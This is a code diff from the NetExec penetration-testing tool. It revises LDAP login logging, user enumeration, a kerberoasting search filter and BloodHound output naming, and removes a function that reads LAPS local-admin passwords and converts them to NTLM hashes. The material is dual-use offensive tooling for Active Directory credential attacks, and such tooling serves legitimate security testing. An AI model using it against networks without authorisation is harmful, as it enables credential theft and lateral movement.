self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -407,21 +442,21 @@ class ldap(connection):
|
||||
except SessionError as e:
|
||||
error, desc = e.getErrorString()
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error!s}",
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error!s}",
|
||||
color="magenta" if error in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
except Exception as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if error_code in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error_code!s}",
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error_code!s}",
|
||||
color="magenta" if error_code in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
@@ -441,8 +476,6 @@ class ldap(connection):
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
|
||||
@@ -451,9 +484,13 @@ class ldap(connection):
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
|
||||
if not self.args.local_auth and self.username != "":
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -463,18 +500,25 @@ class ldap(connection):
|
||||
# We need to try SSL
|
||||
try:
|
||||
# Connect to LDAPS
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.ldapConnection.login(
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
)
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth and self.username != "":
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -482,21 +526,18 @@ class ldap(connection):
|
||||
except Exception as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
if proto == "ldaps":
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
@@ -530,8 +571,6 @@ class ldap(connection):
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
|
||||
@@ -541,9 +580,11 @@ class ldap(connection):
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth and self.username != "":
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -552,8 +593,6 @@ class ldap(connection):
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
try:
|
||||
# We need to try SSL
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
@@ -568,9 +607,11 @@ class ldap(connection):
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth and self.username != "":
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -578,21 +619,18 @@ class ldap(connection):
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
if proto == "ldaps":
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
|
||||
def create_smbv1_conn(self):
|
||||
@@ -657,7 +695,7 @@ class ldap(connection):
|
||||
attributes = ["objectSid"]
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
answers = []
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
|
||||
if resp and self.password != "" and self.username != "":
|
||||
for attribute in resp[0][1]:
|
||||
if str(attribute["type"]) == "objectSid":
|
||||
sid = self.sid_to_str(attribute["vals"][0])
|
||||
@@ -715,54 +753,37 @@ class ldap(connection):
|
||||
return False
|
||||
|
||||
def users(self):
|
||||
"""
|
||||
Retrieves user information from the LDAP server.
|
||||
|
||||
Args:
|
||||
----
|
||||
input_attributes (list): Optional. List of attributes to retrieve for each user.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
if len(self.args.users) > 0:
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
|
||||
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
|
||||
else:
|
||||
self.logger.debug("Trying to dump all users")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
|
||||
# default to these attributes to mirror the SMB --users functionality
|
||||
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
|
||||
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
||||
# Building the search filter
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
attributes = [
|
||||
"sAMAccountName",
|
||||
"description",
|
||||
"badPasswordTime",
|
||||
"badPwdCount",
|
||||
"pwdLastSet",
|
||||
]
|
||||
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
if resp:
|
||||
# I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
|
||||
if self.username == "":
|
||||
self.logger.display(f"Total records returned: {len(resp):d}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
return
|
||||
|
||||
users = parse_result_attributes(resp)
|
||||
# we print the total records after we parse the results since often SearchResultReferences are returned
|
||||
self.logger.display(f"Total records returned: {len(users):d}")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
for user in users:
|
||||
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
|
||||
parsed_pw_last_set = ""
|
||||
pwd_last_set = user.get("pwdLastSet", "")
|
||||
if pwd_last_set != "":
|
||||
timestamp_seconds = int(pwd_last_set) / 10**7
|
||||
start_date = datetime(1601, 1, 1)
|
||||
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
if parsed_pw_last_set == "1601-01-01 00:00:00":
|
||||
parsed_pw_last_set = "<never>"
|
||||
# we default attributes to blank strings if they don't exist in the dict
|
||||
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
|
||||
self.logger.display(f"Total of records returned {len(resp):d}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
description = ""
|
||||
try:
|
||||
if self.username == "":
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
else:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "description":
|
||||
description = str(attribute["vals"][0])
|
||||
self.logger.highlight(f"{sAMAccountName:<30} {description}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
return
|
||||
|
||||
def groups(self):
|
||||
# Building the search filter
|
||||
@@ -811,74 +832,32 @@ class ldap(connection):
|
||||
self.logger.fail(f"Skipping item, cannot process due to error {e}")
|
||||
|
||||
def active_users(self):
|
||||
if len(self.args.active_users) > 0:
|
||||
arg = True
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
|
||||
else:
|
||||
arg = False
|
||||
self.logger.debug("Trying to dump all users")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
# Building the search filter
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
attributes = ["sAMAccountName", "userAccountControl"]
|
||||
|
||||
# default to these attributes to mirror the SMB --users functionality
|
||||
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
|
||||
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
||||
allusers = parse_result_attributes(resp)
|
||||
|
||||
count = 0
|
||||
activeusers = []
|
||||
argsusers = []
|
||||
|
||||
if arg:
|
||||
resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
|
||||
users_args = parse_result_attributes(resp_args)
|
||||
# This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
|
||||
for i in range(len(self.args.active_users)):
|
||||
try:
|
||||
argsusers.append(users_args[i])
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
else:
|
||||
argsusers = allusers
|
||||
|
||||
for user in allusers:
|
||||
user_account_control = user.get("userAccountControl")
|
||||
if user_account_control is not None: # Check if user_account_control is not None
|
||||
account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list
|
||||
account_disabled = int(account_control) & 2
|
||||
if not account_disabled:
|
||||
count += 1
|
||||
activeusers.append(user.get("sAMAccountName").lower())
|
||||
else:
|
||||
self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
|
||||
|
||||
if self.username == "":
|
||||
self.logger.display(f"Total records returned: {len(resp):d}")
|
||||
for item in resp_args:
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
if resp:
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
sAMAccountName = ""
|
||||
userAccountControl = ""
|
||||
try:
|
||||
if self.username == "":
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
else:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "userAccountControl":
|
||||
userAccountControl = int(attribute["vals"][0])
|
||||
account_disabled = userAccountControl & 2
|
||||
if not account_disabled:
|
||||
self.logger.highlight(f"{sAMAccountName}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
return
|
||||
self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
|
||||
for arguser in argsusers:
|
||||
pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string.
|
||||
if pwd_last_set: # Checks if pwdLastSet is empty or not.
|
||||
timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer.
|
||||
start_date = datetime(1601, 1, 1)
|
||||
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
if parsed_pw_last_set == "1601-01-01 00:00:00":
|
||||
parsed_pw_last_set = "<never>"
|
||||
|
||||
if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
elif (arguser.get("sAMAccountName").lower() in activeusers):
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
|
||||
def asreproast(self):
|
||||
if self.password == "" and self.nthash == "" and self.kerberos is False:
|
||||
@@ -949,7 +928,7 @@ class ldap(connection):
|
||||
|
||||
def kerberoasting(self):
|
||||
# Building the search filter
|
||||
searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
|
||||
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
|
||||
attributes = [
|
||||
"servicePrincipalName",
|
||||
"sAMAccountName",
|
||||
@@ -1000,7 +979,7 @@ class ldap(connection):
|
||||
|
||||
if mustCommit is True:
|
||||
if int(userAccountControl) & UF_ACCOUNTDISABLE:
|
||||
self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ")
|
||||
self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
|
||||
else:
|
||||
answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs]
|
||||
except Exception as e:
|
||||
@@ -1396,18 +1375,15 @@ class ldap(connection):
|
||||
num_workers=10,
|
||||
disable_pooling=False,
|
||||
timestamp=timestamp,
|
||||
fileNamePrefix=self.output_filename.split("/")[-1],
|
||||
computerfile=None,
|
||||
cachefile=None,
|
||||
exclude_dcs=False,
|
||||
)
|
||||
|
||||
self.output_filename += f"_{timestamp}"
|
||||
|
||||
self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
|
||||
list_of_files = os.listdir(os.getcwd())
|
||||
with ZipFile(self.output_filename + "bloodhound.zip", "w") as z:
|
||||
for each_file in list_of_files:
|
||||
if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"):
|
||||
if each_file.startswith(timestamp) and each_file.endswith("json"):
|
||||
z.write(each_file)
|
||||
os.remove(each_file)
|
||||
@@ -44,7 +44,17 @@ class BloodHound:
|
||||
# Create an object resolver
|
||||
self.ad.create_objectresolver(self.pdc)
|
||||
|
||||
def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", fileNamePrefix="", computerfile="", cachefile=None, exclude_dcs=False):
|
||||
|
||||
def run(
|
||||
self,
|
||||
collect,
|
||||
num_workers=10,
|
||||
disable_pooling=False,
|
||||
timestamp="",
|
||||
computerfile="",
|
||||
cachefile=None,
|
||||
exclude_dcs=False,
|
||||
):
|
||||
start_time = time.time()
|
||||
if cachefile:
|
||||
self.ad.load_cachefile(cachefile)
|
||||
@@ -72,7 +82,7 @@ class BloodHound:
|
||||
)
|
||||
# Initialize enumerator
|
||||
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
|
||||
membership_enum.enumerate_memberships(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
membership_enum.enumerate_memberships(timestamp=timestamp)
|
||||
elif "container" in collect:
|
||||
# Fetch domains for later, computers if needed
|
||||
self.pdc.prefetch_info(
|
||||
@@ -82,7 +92,7 @@ class BloodHound:
|
||||
)
|
||||
# Initialize enumerator
|
||||
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
|
||||
membership_enum.do_container_collection(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
membership_enum.do_container_collection(timestamp=timestamp)
|
||||
elif do_computer_enum:
|
||||
# We need to know which computers to query regardless
|
||||
# We also need the domains to have a mapping from NETBIOS -> FQDN for local admins
|
||||
@@ -92,7 +102,7 @@ class BloodHound:
|
||||
self.pdc.get_domains("acl" in collect)
|
||||
if "trusts" in collect or "acl" in collect or "objectprops" in collect:
|
||||
trusts_enum = DomainEnumerator(self.ad, self.pdc)
|
||||
trusts_enum.dump_domain(collect, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
trusts_enum.dump_domain(collect, timestamp=timestamp)
|
||||
if do_computer_enum:
|
||||
# If we don't have a GC server, don't use it for deconflictation
|
||||
have_gc = len(self.ad.gcs()) > 0
|
||||
@@ -104,7 +114,7 @@ class BloodHound:
|
||||
computerfile=computerfile,
|
||||
exclude_dcs=exclude_dcs,
|
||||
)
|
||||
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp)
|
||||
end_time = time.time()
|
||||
minutes, seconds = divmod(int(end_time - start_time), 60)
|
||||
self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds))
|
||||
@@ -54,7 +54,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
import binascii
|
||||
import hashlib
|
||||
from json import loads
|
||||
from pyasn1.codec.der import decoder
|
||||
from pyasn1_modules import rfc5652
|
||||
|
||||
@@ -261,106 +258,3 @@ class LAPSv2Extract:
|
||||
plaintext = decrypt_plaintext(cek, iv, remaining)
|
||||
self.logger.info(plaintext[:-18].decode("utf-16le"))
|
||||
return plaintext[:-18].decode("utf-16le")
|
||||
|
||||
|
||||
def laps_search(self, username, password, cred_type, domain):
|
||||
prev_protocol = self.logger.extra["protocol"]
|
||||
prev_port = self.logger.extra["port"]
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
|
||||
ldapco = LDAPConnect(self.domain, "389", self.domain)
|
||||
|
||||
if self.kerberos:
|
||||
if self.kdcHost is None:
|
||||
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
|
||||
return None, None, None, None
|
||||
|
||||
connection = ldapco.kerberos_login(
|
||||
domain[0],
|
||||
username[0] if username else "",
|
||||
password[0] if cred_type[0] == "plaintext" else "",
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
kdcHost=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
)
|
||||
else:
|
||||
connection = ldapco.auth_login(
|
||||
domain[0],
|
||||
username[0] if username else "",
|
||||
password[0] if cred_type[0] == "plaintext" else "",
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
)
|
||||
if not connection:
|
||||
self.logger.fail(f"LDAP connection failed with account {username[0]}")
|
||||
|
||||
return None, None, None, None
|
||||
|
||||
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
|
||||
attributes = [
|
||||
"msLAPS-EncryptedPassword",
|
||||
"msLAPS-Password",
|
||||
"ms-MCS-AdmPwd",
|
||||
"sAMAccountName",
|
||||
]
|
||||
results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
msMCSAdmPwd = ""
|
||||
sAMAccountName = ""
|
||||
username_laps = ""
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
|
||||
if len(results) != 0:
|
||||
for host in results:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(
|
||||
bytes(msMCSAdmPwd),
|
||||
username[0] if username else "",
|
||||
password[0] if cred_type[0] == "plaintext" else "",
|
||||
domain[0],
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
self.args.kerberos,
|
||||
self.args.kdcHost,
|
||||
339
|
||||
)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return None, None, None, None
|
||||
r = loads(data)
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
elif "mslaps-password" in values:
|
||||
r = loads(str(values["mslaps-password"]))
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
elif "ms-mcs-admpwd" in values:
|
||||
msMCSAdmPwd = str(values["ms-mcs-admpwd"])
|
||||
else:
|
||||
self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
|
||||
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
|
||||
else:
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
return None, None, None, None
|
||||
|
||||
if msMCSAdmPwd == "":
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
return None, None, None, None
|
||||
|
||||
hash_ntlm = None
|
||||
if cred_type[0] == "hash":
|
||||
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
|
||||
hash_ntlm = binascii.hexlify(hash_ntlm).decode()
|
||||
|
||||
username = username_laps if username_laps else self.args.laps
|
||||
password = msMCSAdmPwd
|
||||
domain = self.hostname
|
||||
self.args.local_auth = True
|
||||
self.logger.extra["protocol"] = prev_protocol
|
||||
self.logger.extra["port"] = prev_port
|
||||
return username, password, domain, hash_ntlm
|
||||
@@ -1,12 +1,16 @@
|
||||
from argparse import _StoreTrueAction
|
||||
|
||||
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
|
||||
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
|
||||
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
|
||||
no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
|
||||
|
||||
dgroup = ldap_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
no_smb_arg.make_required = [domain_arg]
|
||||
|
||||
